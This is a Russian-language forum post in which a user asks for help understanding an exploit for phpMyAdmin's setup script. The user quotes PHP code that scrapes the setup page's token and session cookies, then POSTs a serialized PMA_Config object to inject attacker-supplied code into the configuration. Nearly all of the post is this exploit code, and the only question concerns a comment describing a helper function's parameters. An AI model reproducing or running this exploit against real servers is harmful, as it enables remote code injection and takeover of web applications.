Показать сообщение отдельно

  #4  
Старый 16.07.2011, 23:47
plaeer
Участник форума
Регистрация: 08.03.2011
Сообщений: 149
Провел на форуме:
34360

Репутация: 1
По умолчанию

Ребятки помогите со сплоитом под пхпмуадмин:

Цитата:
Сообщение от None  
*/
//Настройки
//отправляем http-данные
//$method = POST|GET, $url = http://site.com/path, $data = foo1=bar1&foo2=bar2, referer, cookie, useragent
function send_data($method, $url, $data = '', $referer_string = '', $cookie_string = '', $ua_string = '')
{
$return = '';
$feof_count = 0;
$parsed_url = parse_url($url);
$site = $parsed_url['host'];
$path = $parsed_url['path'];
$query = $parsed_url['query'];
($method == 'GET' && !empty($data)) ? $path .= '?'.$data : '';
($method == 'POST' && !empty($query)) ? $path .= '?'.$query : '';
$fp = fsockopen($site, 80, $errno, $errstr, 30);
($method == 'POST') ? $out = "POST $path HTTP/1.1\r\n" : $out = "GET $path HTTP/1.1\r\n";
$out .= "Host: $site\r\n";
$out .= "Content-type: application/x-www-form-urlencoded\r\n";
$out .= "Connection: Close\r\n";
$out .= "User-Agent: $ua_string\r\n";
$out .= "Referer: $referer_string\r\n";
$out .= "Cookie: $cookie_string\r\n";
($method == 'POST') ? $out .= "Content-Length: ".strlen($data)."\r\n\r\n" : $out .= "\r\n";
($method == 'POST') ? fwrite($fp, $out.$data) : fwrite($fp, $out);
while (!feof($fp))
{
if($feof_count >=200)
break;
$return .= fread($fp, 4800);
++$feof_count;
}
fclose($fp);
return $return;
}
$token_page = send_data('GET',$pma_setup_url,'',$pma_setup_url,' ','Opera');
preg_match('@name="token" value="([a-f0-9]{32})"@is',$token_page,$token_array);
$token = $token_array[1];
preg_match_all('@Set-Cookie: ([^\r\n;]+)@is',$token_page,$cookie_array);
$cookie_array = $cookie_array[1];
$cookie_array = implode("; ",$cookie_array);
print send_data('POST',$pma_setup_url,'action=lay_naviga tion&eoltype=unix&token='.$token.'&configuration=' .urlencode('a:1:{i:0;O:10:"PMA_Config":1:{s:6:"sou rce";s:'.strlen($ftp_code).':"'.$ftp_code.'";}}'), $pma_setup_url,$cookie_array,'Opera');
?>
А именно вообще не понятна вот эта строка:

Цитата:
Сообщение от None  
//$method = POST|GET, $url = http://site.com/path, $data = foo1=bar1&foo2=bar2, referer, cookie, useragent
 
Ответить с цитированием